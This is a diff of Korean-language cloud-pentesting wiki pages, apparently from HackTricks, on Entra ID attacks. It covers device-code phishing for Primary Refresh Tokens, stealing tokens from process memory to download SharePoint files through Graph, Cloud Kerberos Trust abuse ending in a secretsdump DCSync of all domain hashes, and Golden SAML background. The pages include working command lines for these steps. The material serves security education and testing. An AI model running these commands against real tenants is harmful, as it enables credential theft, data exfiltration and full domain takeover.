- **브로커 클라이언트 ID**(`29d9ed98-a469-4536-ade2-f981bc1d605e`) 및 **DRS 범위/리소스**를 사용한 **장치 코드**를 통한 **사용자 인증** (예: **`01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9/.default`** 또는 **`https://enrollment.manage.microsoft.com/`**).
|
||||
- **사용자가 Entra ID에서 장치를 등록할 수 있어야 함** (**기본값: 허용**, 그러나 제한되거나 쿼터가 제한될 수 있음).
|
||||
- **장치 코드**를 **비활성화**하거나 **대상 앱에 대해 준수/하이브리드 장치**를 요구하는 **차단 CA 정책이 없음** (이들은 PRT 발급을 중단하지 않지만, **보호된 앱에 접근하기 위해** 사용하는 것을 차단합니다).
|
||||
- **공격자가 제어하는 호스트**에서 흐름을 실행하고 토큰/장치 키를 보유해야 합니다.
|
||||
|
||||
**공격 흐름**:
|
||||
|
||||
1. **클라이언트 ID = 브로커** 및 **DRS 범위/리소스**로 **장치 코드 인증을 시작**합니다; **사용자 코드**를 피해자에게 보여줍니다.
|
||||
```bash
|
||||
curl -s -X POST \
|
||||
"https://login.microsoftonline.com/organizations/oauth2/v2.0/devicecode" \
|
||||
-d "client_id=29d9ed98-a469-4536-ade2-f981bc1d605e" \
|
||||
-d "scope=01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9/.default offline_access openid profile"
|
||||
```
|
||||
2. **희생자가 Microsoft 사이트** (정상 UI)에서 로그인하고 **MFA**를 완료합니다 → **공격자는 Broker 클라이언트**에 대한 DRS 범위의 refresh token을 받습니다.
|
||||
|
||||
3. **그 refresh token을 사용하여 테넌트에 악성 장치를 등록**합니다 (장치 객체가 생성되어 희생자와 연결됩니다).
|
||||
|
||||
4. **refresh token + 장치 ID/키**를 교환하여 **PRT로 업그레이드**합니다 → **PRT**가 공격자의 장치에 바인딩됩니다.
|
||||
|
||||
5. **(선택적 지속성)**: MFA가 새로웠다면, **장기적인 비밀번호 없는 접근을 유지하기 위해 Windows Hello for Business 키를 등록**합니다.
|
||||
|
||||
6. **남용**: 사용자의 **access tokens**를 얻기 위해 **PRT**를 사용하거나 **PRT 쿠키를 발행**합니다 (Exchange/Graph/SharePoint/Teams/사용자 정의 앱에 대해).
|
||||
|
||||
### 공개 도구 및 개념 증명
|
||||
|
||||
- [ROADtools/ROADtx](https://github.com/dirkjanm/ROADtools): OAuth 흐름, 장치 등록 및 토큰 업그레이드를 자동화합니다.
|
||||
- [DeviceCode2WinHello](https://github.com/kiwids0220/deviceCode2WinHello): 장치 코드 피싱을 PRT+WHfB 키로 자동화하는 단일 명령 스크립트입니다.
|
||||
|
||||
## 참고 문헌
|
||||
|
||||
- [Dirkjan의 PRT에 대한 블로그 게시물](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/)
|
||||
- [Dirkjan의 PRT 피싱에 대한 게시물](https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/)
|
||||
- [Dirkjan의 PRT 남용에 대한 게시물](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/)
|
||||
- SpecterOps 게시물 [Azure AD 요청 토큰 요청하기](https://posts.specterops.io/requesting-azure-ad-request-tokens-on-azure-ad-joined-machines-for-browser-sso-2b0409caad30)
|
||||
- [AADInternals의 PRT에 대한 게시물](https://aadinternals.com/post/prt/)
|
||||
- [blog.3or.de](https://blog.3or.de/understanding-primary-refresh-tokens-and-cve-2021-33779-how-pass-the-prt-was-eliminated#:~:text=,the%20Token%20Broker%20on%20Windows)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+2
-3
@@ -4,7 +4,7 @@
|
||||
|
||||
## **기본 정보**
|
||||
|
||||
[**이 비디오**](https://www.youtube.com/watch?v=OHKZkXC4Duw)에서 설명된 바와 같이, 클라우드와 동기화된 일부 Microsoft 소프트웨어(Excel, Teams...)는 **메모리에 액세스 토큰을 평문으로 저장할 수 있습니다**. 따라서 프로세스의 **메모리를 덤프하고 JWT 토큰을 검색하는 것만으로도** MFA를 우회하여 클라우드에서 피해자의 여러 리소스에 접근할 수 있습니다.
|
||||
[**이 비디오**](https://www.youtube.com/watch?v=OHKZkXC4Duw)에서 설명된 바와 같이, 클라우드와 동기화된 일부 Microsoft 소프트웨어(Excel, Teams...)는 **메모리에 액세스 토큰을 평문으로 저장할 수 있습니다**. 따라서 프로세스의 **메모리를 덤프하고 JWT 토큰을 **grep**하는 것만으로도 MFA를 우회하여 클라우드에서 피해자의 여러 리소스에 접근할 수 있습니다.
|
||||
|
||||
단계:
|
||||
|
||||
@@ -27,8 +27,7 @@ curl -s -H "Authorization: Bearer <token>" https://graph.microsoft.com/v1.0/site
|
||||
curl -s -H "Authorization: Bearer <token>" 'https://graph.microsoft.com/v1.0/sites/<site_id>/drives/<drive_id>' | jq
|
||||
|
||||
## Finally, download a file from that drive:
|
||||
┌──(magichk㉿black-pearl)-[~]
|
||||
└─$ curl -o <filename_output> -L -H "Authorization: Bearer <token>" '<@microsoft.graph.downloadUrl>'
|
||||
curl -o <filename_output> -L -H "Authorization: Bearer <token>" '<@microsoft.graph.downloadUrl>'
|
||||
```
|
||||
**이러한 종류의 액세스 토큰은 다른 프로세스 내에서도 발견될 수 있습니다.**
|
||||
|
||||
|
||||
+51
-25
@@ -2,48 +2,74 @@
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
**이 게시물은** [**https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/**](https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/) **에 대한 요약으로, 공격에 대한 추가 정보를 확인할 수 있습니다. 이 기술은 또한** [**https://www.youtube.com/watch?v=AFay_58QubY**](https://www.youtube.com/watch?v=AFay_58QubY)**에서 언급됩니다.**
|
||||
**이 게시물은** [**https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/**](https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/) **에 대한 요약으로, 공격에 대한 추가 정보를 확인할 수 있습니다. 이 기술은** [**https://www.youtube.com/watch?v=AFay_58QubY**](https://www.youtube.com/watch?v=AFay_58QubY)**에서도 언급됩니다.**
|
||||
|
||||
## 기본 정보
|
||||
## Kerberos Trust Relationship Overview
|
||||
|
||||
### 신뢰
|
||||
**Cloud Kerberos Trust (Entra ID -> AD)** -- 이 기능(Windows Hello for Business의 일부)은 온프레미스 AD가 **Entra ID를 신뢰**하여 AD에 대한 Kerberos 티켓을 발급하는 단방향 신뢰를 설정합니다. 이를 활성화하면 AD에 **AzureADKerberos$** 컴퓨터 객체가 생성되고(읽기 전용 도메인 컨트롤러로 나타남) 연결된 **`krbtgt_AzureAD`** 계정(보조 KRBTGT)이 생성됩니다. Entra ID는 이러한 계정의 키를 보유하고 있으며 AD 사용자에 대한 "부분" Kerberos TGT를 발급할 수 있습니다. AD 도메인 컨트롤러는 이러한 티켓을 존중하지만 RODC와 유사한 제한이 있습니다: 기본적으로 **고급 권한 그룹(도메인 관리자, 엔터프라이즈 관리자 등)은 *거부*되고** 일반 사용자는 허용됩니다. 이는 Entra ID가 정상 조건에서 도메인 관리자를 신뢰를 통해 인증하는 것을 방지합니다. 그러나 우리가 볼 수 있듯이, 충분한 Entra ID 권한을 가진 공격자는 이 신뢰 설계를 악용할 수 있습니다.
|
||||
|
||||
Azure AD와 신뢰가 설정되면 **읽기 전용 도메인 컨트롤러(RODC)가 AD에 생성됩니다.** **RODC 컴퓨터 계정**은 **`AzureADKerberos$`**로 명명됩니다. 또한 **`krbtgt_AzureAD`**라는 이름의 보조 `krbtgt` 계정이 생성됩니다. 이 계정은 Azure AD가 생성하는 티켓에 사용되는 **Kerberos 키**를 포함합니다.
|
||||
## Pivoting from Entra ID to On-Prem AD
|
||||
|
||||
따라서 이 계정이 손상되면 모든 사용자를 가장할 수 있을 가능성이 있지만... 이는 사실이 아닙니다. 이 계정은 도메인 관리자, 엔터프라이즈 관리자, 관리자를 포함한 일반 권한 AD 그룹에 대한 티켓 생성을 방지합니다...
|
||||
**시나리오:** 대상 조직은 비밀번호 없는 인증을 위해 **Cloud Kerberos Trust**가 활성화되어 있습니다. 공격자는 Entra ID(Azure AD)에서 **Global Administrator** 권한을 얻었지만 아직 온프레미스 AD를 제어하지 않습니다. 공격자는 또한 도메인 컨트롤러에 대한 네트워크 접근 권한을 가진 발판을 확보하고 있습니다(예: VPN 또는 하이브리드 네트워크의 Azure VM을 통해). 클라우드 신뢰를 사용하여 공격자는 Azure AD 제어를 활용하여 AD에서 **Domain Admin** 수준의 발판을 얻을 수 있습니다.
|
||||
|
||||
> [!CAUTION]
|
||||
> 그러나 실제 시나리오에서는 이러한 그룹에 포함되지 않은 권한 있는 사용자가 있을 것입니다. 따라서 **새로운 krbtgt 계정이 손상되면 이를 가장하는 데 사용될 수 있습니다.**
|
||||
**전제 조건:**
|
||||
|
||||
### Kerberos TGT
|
||||
- **Cloud Kerberos Trust**가 하이브리드 환경에 구성되어 있습니다(지표: AD에 `AzureADKerberos$` RODC 계정이 존재함).
|
||||
|
||||
또한 사용자가 하이브리드 아이덴티티를 사용하여 Windows에서 인증할 때 **Azure AD는 PRT와 함께 부분 Kerberos 티켓을 발급합니다.** TGT는 **AzureAD가 온프레미스 AD의 사용자에 대한 제한된 정보**(보안 식별자(SID) 및 이름 등)를 가지고 있기 때문에 부분적입니다.\
|
||||
Windows는 그런 다음 `krbtgt` 서비스에 대한 서비스 티켓을 요청하여 **이 부분 TGT를 전체 TGT로 교환할 수 있습니다.**
|
||||
- 공격자는 Entra ID 테넌트에서 **Global Admin(또는 Hybrid Identity Admin)** 권한을 가지고 있습니다(이 역할은 AD Connect **동기화 API**를 사용하여 Azure AD 사용자를 수정할 수 있습니다).
|
||||
|
||||
### NTLM
|
||||
- 공격자가 인증할 수 있는 **하이브리드 사용자 계정**이 최소 하나 존재해야 합니다(AD와 AAD 모두에 존재). 이는 자격 증명을 알고 있거나 재설정하거나 비밀번호 없는 방법(예: 임시 액세스 패스)을 할당하여 기본 새로 고침 토큰(PRT)을 생성함으로써 얻을 수 있습니다.
|
||||
|
||||
Kerberos 인증을 지원하지 않는 서비스가 있을 수 있으므로, **`KERB-KEY-LIST-REQ`** 필드를 요청의 **PADATA** 부분에 포함하여 **보조 `krbtgt`** 키로 서명된 **부분 TGT**를 요청한 다음, **응답에 NT 해시를 포함하여 기본 `krbtgt` 키로 서명된 전체 TGT를 얻는 것이 가능합니다.**
|
||||
- 기본 RODC "거부" 정책에 *포함되지 않은* 높은 권한의 **온프레미스 AD 대상 계정**이 필요합니다. 실제로 훌륭한 대상은 **AD Connect 동기화 계정**(종종 **MSOL_***로 명명됨)으로, AD에서 DCSync(복제) 권한을 가지고 있지만 일반적으로 내장 관리자 그룹의 구성원이 아닙니다. 이 계정은 일반적으로 Entra ID와 동기화되지 않으므로 충돌 없이 SID를 가장할 수 있습니다.
|
||||
|
||||
## 도메인 관리자 권한을 얻기 위한 클라우드 Kerberos 신뢰 악용 <a href="#abusing-cloud-kerberos-trust-to-obtain-domain-admin" id="abusing-cloud-kerberos-trust-to-obtain-domain-admin"></a>
|
||||
**공격 단계:**
|
||||
|
||||
AzureAD가 **부분 TGT**를 생성할 때 사용자가 가진 세부 정보를 사용합니다. 따라서 글로벌 관리자가 **AzureAD에서 사용자의 보안 식별자 및 이름과 같은 데이터를 수정할 수 있다면**, 해당 사용자에 대한 TGT를 요청할 때 **보안 식별자가 다르게 될 것입니다.**
|
||||
1. **Azure AD 동기화 API 액세스 획득:** Global Admin 계정을 사용하여 Azure AD **Provisioning (sync) API**에 대한 액세스 토큰을 획득합니다. 이는 **ROADtools** 또는 **AADInternals**와 같은 도구를 사용하여 수행할 수 있습니다. 예를 들어, ROADtools(roadtx)를 사용하여:
|
||||
```bash
|
||||
# Using roadtx to get an Azure AD Graph token (no MFA)
|
||||
roadtx gettokens -u <GlobalAdminUPN> -p <Password> --resource aadgraph
|
||||
```
|
||||
*(대안으로, AADInternals의 `Connect-AADInt`를 사용하여 Global Admin으로 인증할 수 있습니다.)*
|
||||
|
||||
Microsoft Graph 또는 Azure AD Graph를 통해 이를 수행할 수는 없지만, **API Active Directory Connect**가 동기화된 사용자를 생성하고 업데이트하는 데 사용하는 API를 사용할 수 있습니다. 이를 통해 글로벌 관리자는 **하이브리드 사용자의 SAM 이름과 SID를 수정할 수 있으며**, 그런 다음 인증하면 수정된 SID를 포함하는 부분 TGT를 얻을 수 있습니다.
|
||||
2. **하이브리드 사용자의 온프레미스 속성 수정:** Azure AD **동기화 API**를 활용하여 선택한 하이브리드 사용자의 **onPremises Security Identifier (SID)** 및 **onPremises SAMAccountName**을 대상 AD 계정과 일치하도록 설정합니다. 이는 Azure AD에 클라우드 사용자가 우리가 가장하고자 하는 온프레미스 계정에 해당함을 효과적으로 알립니다. 오픈 소스 **ROADtools Hybrid** 툴킷을 사용하여:
|
||||
```bash
|
||||
# Example: modify a hybrid user to impersonate the MSOL account
|
||||
python3 modifyuser.py -u <GlobalAdminUPN> -p <Password>\
|
||||
--sourceanchor <ImmutableID_of_User>\
|
||||
--sid <TargetAD_SID> --sam <TargetAD_SAMName>
|
||||
```
|
||||
> 사용자의 `sourceAnchor` (불변 ID)는 수정할 Azure AD 객체를 식별하는 데 필요합니다. 도구는 하이브리드 사용자의 온프레미스 SID와 SAM 계정 이름을 대상의 값(예: MSOL_xxxx 계정의 SID 및 SAM)으로 설정합니다. Azure AD는 일반적으로 이러한 속성을 Graph를 통해 변경하는 것을 허용하지 않지만(읽기 전용), 동기화 서비스 API는 이를 허용하며 Global Admin은 이 동기화 기능을 호출할 수 있습니다.
|
||||
|
||||
AADInternals를 사용하여 동기화된 사용자로 업데이트할 수 있으며, [Set-AADIntAzureADObject](https://aadinternals.com/aadinternals/#set-aadintazureadobject-a) cmdlet을 통해 가능합니다.
|
||||
3. **Azure AD에서 부분 TGT 얻기:** 수정 후, 하이브리드 사용자로 Azure AD에 인증합니다(예: 장치에서 PRT를 얻거나 자격 증명을 사용하여). 사용자가 로그인할 때(특히 도메인에 가입된 또는 Entra에 가입된 Windows 장치에서), Azure AD는 Cloud Kerberos Trust가 활성화되어 있기 때문에 해당 계정에 대해 **부분 Kerberos TGT (TGT**<sub>**AD**</sub>)를 발급합니다. 이 부분 TGT는 AzureADKerberos$ RODC 키로 암호화되며 우리가 설정한 **대상 SID**를 포함합니다. 우리는 ROADtools를 통해 사용자의 PRT를 요청하여 이를 시뮬레이션할 수 있습니다:
|
||||
```bash
|
||||
roadtx getprt -u <HybridUserUPN> -p <Password> -d <DeviceID_or_Cert>
|
||||
```
|
||||
이것은 부분 TGT 및 세션 키를 포함하는 `.prt` 파일을 출력합니다. 계정이 클라우드 전용 비밀번호인 경우, Azure AD는 여전히 PRT 응답에 TGT_AD를 포함합니다.
|
||||
|
||||
### 공격 전제 조건 <a href="#attack-prerequisites" id="attack-prerequisites"></a>
|
||||
4. **AD에서 전체 TGT로 부분 TGT 교환:** 이제 부분 TGT를 온프레미스 도메인 컨트롤러에 제시하여 대상 계정에 대한 **전체 TGT**를 얻을 수 있습니다. 이는 `krbtgt` 서비스(도메인의 기본 TGT 서비스)에 대한 TGS 요청을 수행하여 이루어집니다. 본질적으로 티켓을 전체 PAC이 포함된 일반 TGT로 업그레이드하는 것입니다. 이 교환을 자동화하는 도구가 제공됩니다. 예를 들어, ROADtools Hybrid의 스크립트를 사용하여:
|
||||
```bash
|
||||
# Use the partial TGT from the PRT file to get a full TGT and NTLM hash
|
||||
python3 partialtofulltgt.py -p roadtx.prt -o full_tgt.ccache --extract-hash
|
||||
```
|
||||
이 스크립트(또는 Impacket 동등물)는 도메인 컨트롤러에 연락하여 대상 AD 계정에 대한 유효한 TGT를 검색하며, 특별한 Kerberos 확장이 사용되는 경우 계정의 NTLM 해시도 포함됩니다. **`KERB-KEY-LIST-REQ`** 확장은 DC에 암호화된 응답에서 대상 계정의 NTLM 해시를 반환하도록 요청하기 위해 자동으로 포함됩니다. 결과는 대상 계정에 대한 자격 증명 캐시(`full_tgt.ccache`) 또는 복구된 NTLM 비밀번호 해시입니다.
|
||||
|
||||
공격의 성공과 도메인 관리자 권한 획득은 특정 전제 조건을 충족하는 데 달려 있습니다:
|
||||
5. **대상 가장하기 및 도메인 관리자 권한 상승:** 이제 공격자는 효과적으로 **대상 AD 계정을 제어**합니다. 예를 들어, 대상이 AD Connect **MSOL 계정**인 경우, 디렉터리에 대한 복제 권한이 있습니다. 공격자는 해당 계정의 자격 증명 또는 Kerberos TGT를 사용하여 AD에서 비밀번호 해시를 덤프하기 위해 **DCSync** 공격을 수행할 수 있습니다(도메인 KRBTGT 계정 포함). 예를 들어:
|
||||
```bash
|
||||
# Using impacket's secretsdump to DCSync as the MSOL account (using NTLM hash)
|
||||
secretsdump.py 'AD_DOMAIN/<TargetSAM>$@<DC_IP>' -hashes :<NTLM_hash> LOCAL
|
||||
```
|
||||
이것은 모든 AD 사용자 비밀번호 해시를 덤프하여 공격자에게 KRBTGT 해시를 제공하며(이를 통해 도메인 Kerberos 티켓을 마음대로 위조할 수 있음) 효과적으로 **Domain Admin** 권한을 AD에 부여합니다. 대상 계정이 다른 특권 사용자라면, 공격자는 전체 TGT를 사용하여 해당 사용자로서 모든 도메인 리소스에 접근할 수 있습니다.
|
||||
|
||||
- 계정을 동기화 API를 통해 변경할 수 있는 능력이 중요합니다. 이는 글로벌 관리자 역할을 가지거나 AD Connect 동기화 계정을 소유함으로써 달성할 수 있습니다. 또는 하이브리드 아이덴티티 관리자 역할이 충분하며, 이는 AD Connect를 관리하고 새로운 동기화 계정을 설정할 수 있는 능력을 부여합니다.
|
||||
- **하이브리드 계정**의 존재가 필수적입니다. 이 계정은 피해자 계정의 세부 정보로 수정 가능해야 하며 인증을 위해 접근할 수 있어야 합니다.
|
||||
- Active Directory 내에서 **대상 피해자 계정**을 식별하는 것이 필요합니다. 공격은 이미 동기화된 모든 계정에 대해 실행할 수 있지만, Azure AD 테넌트는 온프레미스 보안 식별자를 복제하지 않아야 하며, 티켓을 얻기 위해 동기화되지 않은 계정을 수정해야 합니다.
|
||||
- 또한 이 계정은 도메인 관리자와 동등한 권한을 가져야 하지만, AzureAD RODC가 유효하지 않은 TGT를 생성하지 않도록 일반 AD 관리자 그룹의 구성원이 아니어야 합니다.
|
||||
- 가장 적합한 대상은 **AD Connect Sync 서비스에서 사용되는 Active Directory 계정**입니다. 이 계정은 Azure AD와 동기화되지 않으며, SID가 유효한 대상이 되고, 비밀번호 해시 동기화가 활성화된 경우 도메인 관리자와 동등한 권한을 자연스럽게 가집니다. 익스프레스 설치가 있는 도메인의 경우 이 계정은 **MSOL\_**로 접두사가 붙습니다. 다른 경우에는 도메인 객체에서 디렉터리 복제 권한이 있는 모든 계정을 열거하여 이 계정을 식별할 수 있습니다.
|
||||
6. **정리:** 선택적으로, 공격자는 동일한 API를 통해 수정된 Azure AD 사용자의 원래 `onPremisesSAMAccountName` 및 SID를 복원하거나 생성된 임시 사용자를 삭제할 수 있습니다. 많은 경우, 다음 Azure AD Connect 동기화 주기가 동기화된 속성의 무단 변경을 자동으로 되돌립니다. (그러나 이 시점에서 피해는 이미 발생했습니다 -- 공격자는 DA 권한을 가지고 있습니다.)
|
||||
|
||||
> [!WARNING]
|
||||
> 클라우드 신뢰 및 동기화 메커니즘을 악용함으로써, Azure AD의 Global Admin은 RODC 정책에 의해 명시적으로 보호되지 않는 거의 *모든* AD 계정을 가장할 수 있으며, 해당 계정이 클라우드와 동기화된 적이 없더라도 가능합니다. 기본 구성에서는, 이것이 **Azure AD 손상에서 온프레미스 AD 손상으로의 완전한 신뢰를 연결합니다**.
|
||||
|
||||
|
||||
## References
|
||||
|
||||
- [Obtaining Domain Admin from Azure AD via Cloud Kerberos Trust](https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/)
|
||||
|
||||
### 전체 공격 <a href="#the-full-attack" id="the-full-attack"></a>
|
||||
|
||||
원본 게시물에서 확인하세요: [https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/](https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
-9
@@ -1,9 +0,0 @@
|
||||
# Az - Default Applications
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
**기술을 확인하세요:** [**https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/**](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/)**,** [**https://www.youtube.com/watch?v=JEIR5oGCwdg**](https://www.youtube.com/watch?v=JEIR5oGCwdg) 및 [**https://www.youtube.com/watch?v=xei8lAPitX8**](https://www.youtube.com/watch?v=xei8lAPitX8)
|
||||
|
||||
이 블로그 게시물은 Azure AD의 권한 상승 취약점에 대해 논의하며, 애플리케이션 관리자가 또는 손상된 온프레미스 동기화 계정이 애플리케이션에 자격 증명을 할당하여 권한을 상승시킬 수 있도록 합니다. 이 취약점은 Azure AD의 애플리케이션 및 서비스 주체 처리 방식의 "설계에 따른" 동작에서 발생하며, 기본 Office 365 애플리케이션에 특히 영향을 미칩니다. 보고되었지만, Microsoft는 관리 권한 할당 동작에 대한 문서화로 인해 이 문제를 취약점으로 간주하지 않습니다. 이 게시물은 자세한 기술적 통찰력을 제공하며 Azure AD 환경에서 서비스 주체 자격 증명의 정기적인 검토를 권장합니다. 더 자세한 정보는 원본 블로그 게시물을 방문하세요.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
+20
-21
@@ -4,30 +4,29 @@
|
||||
|
||||
## Basic Information
|
||||
|
||||
[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-fed)**Federation**는 **신뢰**를 구축한 **도메인**의 집합입니다. 신뢰의 수준은 다양할 수 있지만, 일반적으로 **인증**을 포함하고 거의 항상 **권한 부여**를 포함합니다. 일반적인 연합에는 **공유 액세스**를 위해 **신뢰**를 구축한 **여러 조직**이 포함될 수 있습니다.
|
||||
[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-fed)
|
||||
|
||||
온프레미스 환경을 **Azure AD**와 **연합**하고 이 연합을 인증 및 권한 부여에 사용할 수 있습니다. 이 로그인 방법은 모든 사용자 **인증이 온프레미스에서 발생**하도록 보장합니다. 이 방법은 관리자가 더 엄격한 액세스 제어 수준을 구현할 수 있게 합니다. **AD FS** 및 PingFederate와의 연합이 가능합니다.
|
||||
>**Federation**는 **신뢰**를 구축한 **도메인**의 집합입니다. 신뢰의 수준은 다양할 수 있지만, 일반적으로 **인증**을 포함하고 거의 항상 **권한 부여**를 포함합니다. 일반적인 연합에는 **공유된 리소스**에 대한 **신뢰**를 구축한 **여러 조직**이 포함될 수 있습니다.
|
||||
>귀하는 **온프레미스** 환경을 **Azure AD**와 **연합**하고 이 연합을 인증 및 권한 부여에 사용할 수 있습니다. 이 로그인 방법은 모든 사용자 **인증이 온프레미스에서 발생**하도록 보장합니다. 이 방법은 관리자가 더 엄격한 접근 제어 수준을 구현할 수 있게 합니다. **AD FS** 및 PingFederate와의 연합이 가능합니다.
|
||||
|
||||
<figure><img src="../../../../images/image (154).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
기본적으로, Federation에서는 모든 **인증**이 **온프레미스** 환경에서 발생하며 사용자는 모든 신뢰된 환경에서 SSO를 경험합니다. 따라서 사용자는 **온프레미스 자격 증명**을 사용하여 **클라우드** 애플리케이션에 **액세스**할 수 있습니다.
|
||||
기본적으로, Federation에서는 모든 **인증**이 **온프레미스** 환경에서 발생하며 사용자는 모든 신뢰된 환경에서 SSO를 경험합니다. 따라서 사용자는 **온프레미스 자격 증명**을 사용하여 **클라우드** 애플리케이션에 **접근**할 수 있습니다.
|
||||
|
||||
**Security Assertion Markup Language (SAML)**는 제공자 간의 모든 인증 및 권한 부여 **정보**를 **교환**하는 데 사용됩니다.
|
||||
|
||||
어떤 연합 설정에서도 세 가지 당사자가 있습니다:
|
||||
모든 연합 설정에는 세 가지 당사자가 있습니다:
|
||||
|
||||
- 사용자 또는 클라이언트
|
||||
- ID 제공자 (IdP)
|
||||
- 서비스 제공자 (SP)
|
||||
|
||||
(Images from https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps)
|
||||
<figure><img src="../../../../images/image (121).png" alt="https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps"><figcaption>https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps</figcaption></figure>
|
||||
|
||||
<figure><img src="../../../../images/image (121).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
1. 처음에, 사용자에 의해 애플리케이션(서비스 제공자 또는 SP, 예: AWS 콘솔 또는 vSphere 웹 클라이언트)에 접근합니다. 이 단계는 특정 구현에 따라 클라이언트를 IdP(Identity Provider)로 직접 안내할 수 있습니다.
|
||||
2. 이후, SP는 사용자 인증을 위해 적절한 IdP(예: AD FS, Okta)를 식별합니다. 그런 다음 SAML(Security Assertion Markup Language) AuthnRequest를 작성하고 클라이언트를 선택한 IdP로 리다이렉트합니다.
|
||||
3. IdP가 사용자 인증을 수행합니다. 인증 후, IdP에 의해 SAMLResponse가 작성되어 사용자 통해 SP로 전달됩니다.
|
||||
4. 마지막으로, SP는 SAMLResponse를 평가합니다. 성공적으로 검증되면 IdP와의 신뢰 관계를 의미하며, 사용자는 액세스를 부여받습니다. 이는 로그인 프로세스의 완료를 나타내며 사용자가 서비스를 활용할 수 있게 합니다.
|
||||
1. 처음에, 사용자가 애플리케이션(서비스 제공자 또는 SP, 예: AWS 콘솔 또는 vSphere 웹 클라이언트)에 접근합니다. 이 단계는 특정 구현에 따라 클라이언트를 IdP(Identity Provider)로 직접 안내할 수 있습니다.
|
||||
2. 그 후, SP는 사용자 인증을 위한 적절한 IdP(예: AD FS, Okta)를 식별합니다. 그런 다음 SAML(Security Assertion Markup Language) AuthnRequest를 작성하고 클라이언트를 선택한 IdP로 리다이렉트합니다.
|
||||
3. IdP가 사용자 인증을 수행합니다. 인증 후, IdP는 SAMLResponse를 작성하고 이를 사용자를 통해 SP로 전달합니다.
|
||||
4. 마지막으로, SP는 SAMLResponse를 평가합니다. 성공적으로 검증되면 IdP와의 신뢰 관계를 의미하며, 사용자는 접근을 허용받습니다. 이는 로그인 프로세스의 완료를 나타내며 사용자가 서비스를 이용할 수 있게 합니다.
|
||||
|
||||
**SAML 인증 및 일반 공격에 대해 더 알고 싶다면 다음으로 가세요:**
|
||||
|
||||
@@ -38,7 +37,7 @@ https://book.hacktricks.wiki/en/pentesting-web/saml-attacks/index.html
|
||||
## Pivoting
|
||||
|
||||
- AD FS는 클레임 기반의 신원 모델입니다.
|
||||
- "..클레임은 사용자가 인증된 애플리케이션에 대한 액세스를 권한 부여하는 데 주로 사용되는 (예: 이름, 신원, 그룹) 진술입니다."
|
||||
- "..클레임은 사용자가 접근 권한을 부여하는 데 주로 사용되는 (예: 이름, 신원, 그룹) 진술입니다."
|
||||
- 사용자의 클레임은 SAML 토큰 내에 작성되며, IdP에 의해 기밀성을 제공하기 위해 서명됩니다.
|
||||
- 사용자는 ImmutableID로 식별됩니다. 이는 전 세계적으로 고유하며 Azure AD에 저장됩니다.
|
||||
- ImmutableID는 온프레미스에서 ms-DS-ConsistencyGuid로 저장되며, 사용자의 GUID에서 파생될 수 있습니다.
|
||||
@@ -47,21 +46,21 @@ https://book.hacktricks.wiki/en/pentesting-web/saml-attacks/index.html
|
||||
**Golden SAML 공격:**
|
||||
|
||||
- ADFS에서 SAML Response는 토큰 서명 인증서에 의해 서명됩니다.
|
||||
- 인증서가 손상되면 Azure AD에 ANY 사용자로 인증할 수 있습니다!
|
||||
- PTA 남용과 마찬가지로, 사용자의 비밀번호 변경이나 MFA는 효과가 없으며, 인증 응답을 위조하고 있기 때문입니다.
|
||||
- 인증서가 손상되면 Azure AD에 동기화된 ANY 사용자로 인증할 수 있습니다!
|
||||
- PTA 남용과 마찬가지로, 사용자의 비밀번호 변경이나 MFA는 효과가 없으며, 우리는 인증 응답을 위조하고 있습니다.
|
||||
- 인증서는 DA 권한으로 AD FS 서버에서 추출할 수 있으며, 이후 인터넷에 연결된 어떤 기기에서도 사용할 수 있습니다.
|
||||
- 더 많은 정보는 [https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps](https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps)에서 확인할 수 있습니다.
|
||||
|
||||
### Golden SAML
|
||||
|
||||
**Identity Provider (IdP)**가 사용자 로그인을 승인하기 위해 **SAMLResponse**를 생성하는 과정은 매우 중요합니다. IdP의 특정 구현에 따라 **응답**은 **서명**되거나 **암호화**될 수 있으며, **IdP의 개인 키**를 사용합니다. 이 절차는 **Service Provider (SP)**가 SAMLResponse의 진위를 확인할 수 있게 하여, 신뢰할 수 있는 IdP에 의해 발급되었음을 보장합니다.
|
||||
**Identity Provider (IdP)**가 사용자 로그인을 승인하기 위해 **SAMLResponse**를 생성하는 과정은 매우 중요합니다. IdP의 특정 구현에 따라 **응답**은 **IdP의 개인 키**를 사용하여 **서명**되거나 **암호화**될 수 있습니다. 이 절차는 **Service Provider (SP)**가 SAMLResponse의 진위를 확인할 수 있게 하여, 신뢰할 수 있는 IdP에 의해 발급되었음을 보장합니다.
|
||||
|
||||
